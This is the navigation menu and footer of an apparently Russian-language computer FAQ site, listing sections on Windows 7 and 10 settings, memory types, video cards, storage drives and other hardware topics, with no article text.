Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  |  |  |  |  | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004